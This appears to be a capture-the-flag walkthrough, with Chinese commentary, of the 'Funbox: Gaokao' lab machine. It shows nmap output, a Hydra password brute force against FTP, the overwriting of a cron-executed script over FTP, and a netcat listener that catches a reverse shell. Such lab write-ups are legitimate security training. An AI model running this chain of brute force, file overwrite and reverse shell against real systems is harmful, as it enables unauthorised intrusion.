┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.179.139 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-0918:21 CST Nmap scan report for 192.168.179.139 (192.168.179.139) Host is up (0.0021s latency). Not shown:996 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5e 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 204848:39:31:22:fb:c2:03:44:a7:4e:c0:fa:b8:ad:2f:96 (RSA) | 25670:a7:74:5e:a3:79:60:28:1a:45:4c:ab:5c:e7:87:ad (ECDSA) |_ 2569c:35:ce:f6:59:66:7f:ae:c4:d1:21:16:d5:aa:56:71 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Wellcome to Funbox: Gaokao ! 3306/tcp open mysql MySQL 5.7.34-0ubuntu0.18.04.1 | mysql-info: | Protocol:10 | Version:5.7.34-0ubuntu0.18.04.1 | Thread ID:3 | Capabilities flags:65535 | Some Capabilities: LongPassword, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SwitchToSSLAfterHandshake, FoundRows, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsLoadDataLocal, Speaks41ProtocolNew, LongColumnFlag, Support41Auth, InteractiveClient, IgnoreSigpipes, SupportsTransactions, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments | Status: Autocommit | Salt: k%\x0E5s72S\x1B!+\x1F26p\x1C\x02I0T |_ Auth Plugin Name: mysql_native_password MAC Address:32:5F:D8:FC:12:14 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop Service Info:OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 12.11 ms 192.168.179.139 (192.168.179.139)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in36.03 seconds
┌──(root㉿kakeru)-[~/tmp] └─# ftp anonymous@192.168.179.139 Connected to192.168.179.139. 220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.179.139] 331 Anonymous login ok, send your complete email address as your password Password: 230-Welcome, archive user anonymous@192.168.179.83 ! 230- 230-The localtime is: Sun Feb 0910:23:222025 230- 230-This is an experimental FTP server. If you have any unusual problems, 230-please report them via e-mail to <sky@funbox9>. 230- 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||8782|) 150 Opening ASCII mode data connection forfile list -rw-r--r-- 1 ftp ftp 169 Jun 5 2021 welcome.msg 226 Transfer complete ftp> get welcome.msg local: welcome.msg remote: welcome.msg 229 Entering Extended Passive Mode (|||51553|) 150 Opening BINARY mode data connection for welcome.msg (169bytes) 100% |********************************************************************| 16931.01 KiB/s 00:00 ETA 226 Transfer complete 169bytes received in00:00 (14.47 KiB/s)
1 2 3 4 5 6 7 8
┌──(root㉿kakeru)-[~/tmp] └─# cat welcome.msg Welcome, archive user %U@%R !
The localtimeis: %T
This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to <sky@%L>.
这出现了两个疑似用户的东西,尝试ftp登录看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kakeru)-[~/tmp] └─# ftp %U@%R@192.168.179.139 ftp: Can't lookup `%R@192.168.179.139:ftp': Name or service not known ┌──(root㉿kakeru)-[~/tmp] └─# ftp user@192.168.179.139 Connected to192.168.179.139. 220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.179.139] 331 Password required for user ┌──(root㉿kakeru)-[~/tmp] └─# ftp sky@%L@192.168.179.139 ftp: Can't lookup `%L@192.168.179.139:ftp': Name or service not known ┌──(root㉿kakeru)-[~/tmp] └─# ftp sky@192.168.179.139 Connected to192.168.179.139. 220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.179.139] 331 Password required for sky Password:
尝试一下,发现可能有user 和 sky用户,用hydra爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kakeru)-[~/tmp] └─# hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://192.168.179.139 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donot use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-0918:40:46 [DATA] max 16 tasks per 1server, overall 16 tasks, 14344399login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ftp://192.168.179.139:21/ [STATUS] 295.00 tries/min, 295 tries in00:01h, 14344106todoin810:25h, 14 active [21][ftp] host: 192.168.179.139login: sky password: thebest 1of1 target successfully completed, 1validpasswordfound [WARNING] Writing restore file because 2 final worker threads did not complete untilend. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-0918:43:31
成功得到sky用户的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
drwxr-xr-x 3 sky sky 4096 Jun 6 2021 . drwxr-xr-x 5 root root 4096 Jun 5 2021 .. -rw------- 1 sky sky 56 Jun 5 2021 .bash_history -r--r--r-- 1 sky sky 220 Jun 5 2021 .bash_logout -r--r--r-- 1 sky sky 3771 Jun 5 2021 .bashrc -r--r--r-- 1 sky sky 807 Jun 5 2021 .profile drwxr----- 2 root root 4096 Jun 5 2021 .ssh -rwxr-x--- 1 sky sarah 66 Jun 6 2021 user.flag -rw------- 1 sky sky 1489 Jun 5 2021 .viminfo 226 Transfer complete ftp> cat user.flag ?Invalid command. ftp> get user.flag local: user.flag remote: user.flag 229 Entering Extended Passive Mode (|||8837|) 150 Opening BINARY mode data connection for user.flag (66 bytes) 100% |********************************************************************| 66 1.67 KiB/s 00:00 ETA 226 Transfer complete
有个userflag,而且这个sarah是组成员,看看user flag
1 2 3 4
┌──(root㉿kakeru)-[~/tmp] └─# cat user.flag #!/bin/sh echo "Your flag is:88jjggzzZhjJjkOIiu76TggHjoOIZTDsDSd"
ftp> put user.flag local: user.flag remote: user.flag 229 Entering Extended Passive Mode (|||34801|) 150 Opening BINARY mode data connection for user.flag 100% |********************************************************************| 55 383.64 KiB/s 00:00 ETA 226 Transfer complete 55 bytes sent in 00:00 (5.41 KiB/s) ftp> ls -al 229 Entering Extended Passive Mode (|||62805|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 3 sky sky 4096 Feb 9 11:04 . drwxr-xr-x 5 root root 4096 Jun 5 2021 .. -rw------- 1 sky sky 56 Jun 5 2021 .bash_history -r--r--r-- 1 sky sky 220 Jun 5 2021 .bash_logout -r--r--r-- 1 sky sky 3771 Jun 5 2021 .bashrc -r--r--r-- 1 sky sky 807 Jun 5 2021 .profile -rw-r--r-- 1 sky sky 45 Feb 9 11:04 reverse.sh drwxr----- 2 root root 4096 Jun 5 2021 .ssh -rwxr-x--- 1 sky sarah 55 Feb 9 11:06 user.flag -rw------- 1 sky sky 1489 Jun 5 2021 .viminfo 226 Transfer complete
成功上传,然后在本地监听,得到shell
1 2 3 4 5 6 7 8
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell bash-4.4$ id uid=1002(sarah) gid=1002(sarah) groups=1002(sarah) bash-4.4$
bash-4.4# pwd /var/spool/cron/crontabs bash-4.4# ls sarah bash-4.4# cat sarah # DO NOT EDIT THIS FILE - edit the master and reinstall. # (/tmp/crontab.A5TLWA/crontab installed on Sun Jun 6 13:52:29 2021) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) */1 * * * * bash -i /home/sky/user.flag > /dev/null